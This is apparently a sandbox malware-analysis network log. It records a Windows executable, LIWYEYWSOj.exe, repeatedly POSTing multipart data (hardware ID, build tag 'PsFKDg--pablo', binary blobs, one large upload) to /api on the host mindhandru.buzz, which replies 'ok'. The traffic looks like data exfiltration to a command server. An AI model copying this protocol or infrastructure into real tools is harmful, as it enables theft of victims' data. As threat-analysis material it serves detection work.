1LBQNKqm3jFShkWxZnDGs51R78cHiArxoFnC7S9QPy91hXB03gOKlcbzZSAC5ZLRbeOeFgbJ3oAk2IZtj8QKuzUUoNSeI9rBMleFMeYwRiO8AY/3Z1hKMPA5wi0/QI+PkSC0RB8nX7XBR7WhhtFy0unAmxfHLL8F0PnybQ/Az4+1NJCkHvPKsUM3dREG8PYjDWFfR/eY+uEkPfZtjoQKuzfWIxBMsP4wNvbxUfYkE1cd4T/XNxjaERCZgt0/sE/
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 4c 52 2b 73 7a 73 52 73 6f 5a 46 73 56 59 51 6c 6c 4f 4e 4d 55 39 48 5a 34 68 36 49 63 42 4a 38 6f 31 37 42 4f 73 2f 52 4b 42 56 77 47 79 79 57 34 44 6a 64 37 64 42 56 68 51 58 4a 2f 79 31 44 32 64 7a 37 54 36 42 51 52 6c 53 76 4e 2b 51 66 39 2f 46 46 58 42 55 76 68 4a 36 51 54 4a 58 46 5a 48 6d 45 48 62 44 54 59 48 50 5a 2b 64 59 53 6b 58 55 33 52 49 63 65 77 57 4c 50 64 57 56 59 54 52 65 51 2b 74 51 64 68 61 52 73 42 4c 67 5a 68 63 59 70 51 38 6e 42 31 6a 36 67 52 41 35 55 72 33 2b 49 50 39 50 52 62 54 68 5a 4d 37 54 4b 6f 46 43 70 35 55 77 70 69 44 33 38 30 77 41 4b 78 4e 54 36 4d 73 46 31 62 30 52 44 59 34 42 44 77 73 57 4e 54 42 31 44 68 4f 4b 39 63 50 6a 68 4d 57 47 6b 4e 4c 57 6d 53 46 76 35 79 66 59 53 70 46 41 2b 63 49 39 62 31 41 66 58 33 57 45 Data Ascii: LR+szsRsoZFsVYQllONMU9HZ4h6IcBJ8o17BOs/RKBVwGyyW4Djd7dBVhQXJ/y1D2dz7T6BQRlSvN+Qf9/FFXBUvhJ6QTJXFZHmEHbDTYHPZ+dYSkXU3RIcewWLPdWVYTReQ+tQdhaRsBLgZhcYpQ8nB1j6gRA5Ur3+IP9PRbThZM7TKoFCp5UwpiD380wAKxNT6MsF1b0RDY4BDwsWNTB1DhOK9cPjhMWGkNLWmSFv5yfYSpFA+cI9b1AfX3WE
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 64 62 78 53 4f 44 5a 53 46 43 35 5a 4c 54 4c 56 45 2f 42 78 64 34 65 6e 47 67 65 44 4c 4e 6a 69 41 66 4c 34 58 30 6b 45 53 2b 63 2f 6f 68 55 73 65 6c 67 66 61 51 35 6f 63 5a 78 51 39 6d 4d 2b 30 2b 67 38 44 70 6f 71 68 4b 70 41 37 4c 31 4c 42 51 4e 4b 71 6d 33 6a 48 43 74 7a 58 78 56 74 44 6d 34 6a 30 78 62 6a 65 33 4f 42 75 68 63 49 6c 43 76 53 2f 51 50 31 39 56 6c 4a 46 6b 2f 71 4e 71 68 63 62 7a 5a 53 41 43 35 5a 4c 52 4c 46 42 76 74 38 63 70 32 6a 48 41 43 48 4b 38 2b 77 54 72 50 69 56 56 52 45 48 76 77 6c 74 42 73 2b 4f 45 78 59 61 51 30 74 61 5a 49 57 2b 48 31 35 6a 61 59 50 42 70 63 70 30 50 6b 4a 39 2f 74 52 52 51 42 43 37 54 43 67 45 43 70 78 56 68 64 71 43 47 4d 34 33 56 43 2f 4f 33 6d 54 36 45 56 44 73 44 33 63 2f 41 32 7a 37 42 78 63 52 45 48 Data Ascii: dbxSODZSFC5ZLTLVE/Bxd4enGgeDLNjiAfL4X0kES+c/ohUselgfaQ5ocZxQ9mM+0+g8DpoqhKpA7L1LBQNKqm3jHCtzXxVtDm4j0xbje3OBuhcIlCvS/QP19VlJFk/qNqhcbzZSAC5ZLRLFBvt8cp2jHACHK8+wTrPiVVREHvwltBs+OExYaQ0taZIW+H15jaYPBpcp0PkJ9/tRRQBC7TCgECpxVhdqCGM43VC/O3mT6EVDsD3c/A2z7BxcREH
2024-12-27 07:59:55 UTC	263	IN	Data Raw: 47 45 75 46 54 68 6c 46 32 67 32 78 46 4c 45 65 48 43 46 72 77 74 44 6a 68 6d 52 73 41 2f 70 73 77 70 38 48 51 62 74 4f 65 4e 45 59 57 4e 53 47 47 6b 62 65 7a 62 65 41 66 70 32 63 71 6d 6e 47 68 57 53 4b 64 7a 68 43 62 2f 34 58 77 56 4b 42 75 30 74 34 30 52 68 57 56 49 4f 62 53 35 75 49 4e 74 51 76 7a 74 35 6e 65 68 46 51 36 39 6d 7a 66 4d 51 38 50 78 44 65 30 51 65 38 77 76 6a 46 7a 64 78 52 52 74 34 43 6d 41 39 77 79 36 78 49 79 72 5a 2b 6b 39 52 77 7a 6d 66 37 7a 2b 39 73 31 4d 46 58 48 2f 7a 64 62 56 63 65 53 51 62 57 48 78 42 4e 58 47 56 45 2b 4e 70 65 49 69 2b 48 6b 53 76 47 50 6a 6d 43 76 54 6a 56 56 49 4c 42 71 52 31 72 46 78 35 54 78 55 52 61 52 70 38 4a 39 38 41 39 6a 74 42 78 65 67 46 51 38 6c 6d 36 76 4d 4f 2f 66 52 45 56 45 6c 68 2f 44 2b 6b Data Ascii: GEuFThlF2g2xFLEeHCFrwtDjhmRsA/pswp8HQbtOeNEYWNSGGkbezbeAfp2cqmnGhWSKdzhCb/4XwVKBu0t40RhWVIObS5uINtQvzt5nehFQ69mzfMQ8PxDe0Qe8wvjFzdxRRt4CmA9wy6xIyrZ+k9Rwzmf7z+9s1MFXH/zdbVceSQbWHxBNXGVE+NpeIi+HkSvGPjmCvTjVVILBqR1rFx5TxURaRp8J98A9jtBxegFQ8lm6vMO/fREVElh/D+k
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 32 63 36 65 0d 0a 67 67 51 57 74 78 69 6b 4f 2f 4f 33 71 61 36 45 56 54 77 33 32 4b 6f 31 65 6a 6f 55 30 4c 48 51 62 38 64 66 74 4f 62 7a 5a 48 57 44 5a 42 4b 6a 4c 41 41 76 64 34 61 49 6a 76 49 7a 32 32 50 4e 4c 32 46 2b 4c 4e 62 45 49 65 53 2b 77 69 73 6c 41 30 64 56 73 57 61 52 63 74 66 35 49 66 73 53 4e 48 79 2b 42 64 50 4e 39 6d 78 37 42 59 73 38 5a 52 53 77 70 42 2f 43 54 75 4f 7a 74 37 55 77 39 2f 51 53 4e 78 31 46 43 70 4b 7a 44 4c 72 41 78 44 79 58 61 4e 71 31 57 67 70 41 49 58 47 77 6a 7a 64 62 56 63 65 53 51 62 57 48 78 42 4e 58 47 56 45 2b 4e 70 65 49 69 2b 48 6b 53 76 47 50 48 33 42 76 62 30 51 67 63 71 54 66 34 79 34 31 4a 68 65 52 56 41 56 30 45 6c 63 65 31 65 73 57 4d 2b 30 2b 67 6f 41 4a 38 6f 32 4f 59 52 76 74 31 56 51 77 46 42 2b 6e 65 Data Ascii: 2c6eggQWtxikO/O3qa6EVTw32Ko1ejoU0LHQb8dftObzZHWDZBKjLAAvd4aIjvIz22PNL2F+LNbEIeS+wislA0dVsWaRctf5IfsSNHy+BdPN9mx7BYs8ZRSwpB/CTuOzt7Uw9/QSNx1FCpKzDLrAxDyXaNq1WgpAIXGwjzdbVceSQbWHxBNXGVE+NpeIi+HkSvGPH3Bvb0QgcqTf4y41JheRVAV0Elce1esWM+0+goAJ8o2OYRvt1VQwFB+ne
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 67 64 57 4c 68 4d 74 61 5a 4a 58 38 6d 6c 73 6a 61 73 4c 41 4e 59 59 34 64 63 4f 39 50 4a 45 56 52 4e 4a 70 52 75 56 50 52 39 49 51 42 74 67 44 32 6f 6e 77 31 43 2f 4f 33 48 4c 38 43 52 44 32 57 62 67 76 6b 44 72 73 77 6f 46 4d 55 58 6b 4f 36 51 4b 4d 44 74 79 46 6d 6b 41 65 79 48 46 48 37 35 56 53 4b 72 6f 55 30 4f 58 5a 6f 65 69 54 72 50 33 51 77 56 63 46 72 68 75 39 6b 39 32 4a 67 63 48 49 42 67 74 4a 35 4a 49 6f 7a 55 2b 6d 65 68 46 51 39 59 6c 7a 65 49 47 38 4f 56 52 41 6a 70 34 7a 54 75 6b 48 54 64 6d 57 42 52 50 41 6e 77 37 37 43 37 6b 65 48 43 46 72 77 73 53 30 57 69 66 2f 30 43 72 79 68 49 4e 52 48 6d 6b 64 62 74 63 65 54 5a 67 47 32 41 50 61 69 66 44 58 64 5a 31 65 59 71 2b 44 51 36 64 42 39 7a 68 43 72 4f 39 45 6b 4e 45 48 72 68 37 34 78 67 77 Data Ascii: gdWLhMtaZJX8mlsjasLANYY4dcO9PJEVRNJpRuVPR9IQBtgD2onw1C/O3HL8CRD2WbgvkDrswoFMUXkO6QKMDtyFmkAeyHFH75VSKroU0OXZoeiTrP3QwVcFrhu9k92JgcHIBgtJ5JIozU+mehFQ9YlzeIG8OVRAjp4zTukHTdmWBRPAnw77C7keHCFrwsS0Wif/0CryhINRHmkdbtceTZgG2APaifDXdZ1eYq+DQ6dB9zhCrO9EkNEHrh74xgw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:59:56 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0587XTAX6R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: mindhandru.buzz
2024-12-27 07:59:56 UTC	15331	OUT	Data Raw: 2d 2d 30 35 38 37 58 54 41 58 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 35 38 37 58 54 41 58 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 35 38 37 58 54 41 58 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 35 38 37 58 54 41 58 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --0587XTAX6RContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--0587XTAX6RContent-Disposition: form-data; name="pid"2--0587XTAX6RContent-Disposition: form-data; name="lid"PsFKDg--pablo--0587XTAX6RContent-
2024-12-27 07:59:56 UTC	2784	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-27 07:59:59 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3qsufr394vg761oo5rmfhr7ql; expires=Tue, 22 Apr 2025 01:46:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5U07xDeEFxapfJmo5K04V06oW541Zi%2FmT5g5XohFwpEceeUnU0ABfeHxkFx0eZE1Iq1LvHQS2W56n4CUeGggPG8H6UMKsqoa6YfcsHhVHmEGWHwJRFNAfo4TuHIFR6rBWx0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c62dcd758c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1831&rtt_var=718&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19068&delivery_rate=1491317&cwnd=225&unsent_bytes=0&cid=d1229bd571e4469d&ts=2442&x=0"
2024-12-27 07:59:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:59:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:00 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TSCY5J07L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8730 Host: mindhandru.buzz
2024-12-27 08:00:00 UTC	8730	OUT	Data Raw: 2d 2d 54 53 43 59 35 4a 30 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 53 43 59 35 4a 30 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 53 43 59 35 4a 30 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 53 43 59 35 4a 30 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --TSCY5J07LContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--TSCY5J07LContent-Disposition: form-data; name="pid"2--TSCY5J07LContent-Disposition: form-data; name="lid"PsFKDg--pablo--TSCY5J07LContent-Disp
2024-12-27 08:00:01 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggprc2dlt5p5s8umduuifhjn9c; expires=Tue, 22 Apr 2025 01:46:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f0CLkRhiIYYdZwR6LLLPTGlSlxtJgOeRir%2B6vEQSyaQY%2B4NWSNyrrKeIzjVZhOreD1wdA8ZqpADQ%2FSe1zD9ybYcSAKjkDiMLbGTeSlzHFyMOC8jYWhCP14nzJxhXEGFEQ%2Fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c64508c04245-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1696&rtt_var=650&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9659&delivery_rate=1665715&cwnd=193&unsent_bytes=0&cid=7b33eee486ceb689&ts=769&x=0"
2024-12-27 08:00:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:02 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OZXCZKSVJ4L2KPPT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20425 Host: mindhandru.buzz
2024-12-27 08:00:02 UTC	15331	OUT	Data Raw: 2d 2d 4f 5a 58 43 5a 4b 53 56 4a 34 4c 32 4b 50 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4f 5a 58 43 5a 4b 53 56 4a 34 4c 32 4b 50 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 5a 58 43 5a 4b 53 56 4a 34 4c 32 4b 50 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 5a Data Ascii: --OZXCZKSVJ4L2KPPTContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--OZXCZKSVJ4L2KPPTContent-Disposition: form-data; name="pid"3--OZXCZKSVJ4L2KPPTContent-Disposition: form-data; name="lid"PsFKDg--pablo--OZ
2024-12-27 08:00:02 UTC	5094	OUT	Data Raw: 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-27 08:00:03 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c47k8ca9pmls247tcmfrmfho80; expires=Tue, 22 Apr 2025 01:46:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x23C6gXpberxdEs3Qa%2BWlzwIy5GJRsvwyQHyXr1b%2Bt3lX4l6GG%2F6O8DDRvLGYH58IUgWZIdhVkXVUYX67%2BrWp6z315i0XhID8p1srdMngGDrOs990DVBrsQC3eI2d8tJQFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c653689c4217-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1655&rtt_var=639&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21384&delivery_rate=1688837&cwnd=240&unsent_bytes=0&cid=4f70cedd9072d036&ts=972&x=0"
2024-12-27 08:00:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:05 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SIEX7SONOEV8SAPL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: mindhandru.buzz
2024-12-27 08:00:05 UTC	1258	OUT	Data Raw: 2d 2d 53 49 45 58 37 53 4f 4e 4f 45 56 38 53 41 50 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 53 49 45 58 37 53 4f 4e 4f 45 56 38 53 41 50 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 49 45 58 37 53 4f 4e 4f 45 56 38 53 41 50 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 49 Data Ascii: --SIEX7SONOEV8SAPLContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--SIEX7SONOEV8SAPLContent-Disposition: form-data; name="pid"1--SIEX7SONOEV8SAPLContent-Disposition: form-data; name="lid"PsFKDg--pablo--SI
2024-12-27 08:00:06 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a8m9qub0165m23jqu0p49f9ir1; expires=Tue, 22 Apr 2025 01:46:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pCX3%2FHj3XSCSD1jmKmwwB8WG5ajZVyRVkTHzRhgAL0SoUv1jFSRzK3cDsPRTxyQZO0988i5SJn9TdMqCpu6SCILVPc8KcuOcwXFrhZ925Ze%2FJTYQ3t7QmP1gKS6Ucz4Dr%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c663dc4a435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1623&rtt_var=633&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2172&delivery_rate=1799137&cwnd=240&unsent_bytes=0&cid=e33f7d46cbb6cb45&ts=811&x=0"
2024-12-27 08:00:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:08 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TWYQ89VOI79HSMP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570664 Host: mindhandru.buzz
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 2d 2d 54 57 59 51 38 39 56 4f 49 37 39 48 53 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 57 59 51 38 39 56 4f 49 37 39 48 53 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 57 59 51 38 39 56 4f 49 37 39 48 53 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 57 59 51 38 Data Ascii: --TWYQ89VOI79HSMPContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--TWYQ89VOI79HSMPContent-Disposition: form-data; name="pid"1--TWYQ89VOI79HSMPContent-Disposition: form-data; name="lid"PsFKDg--pablo--TWYQ8
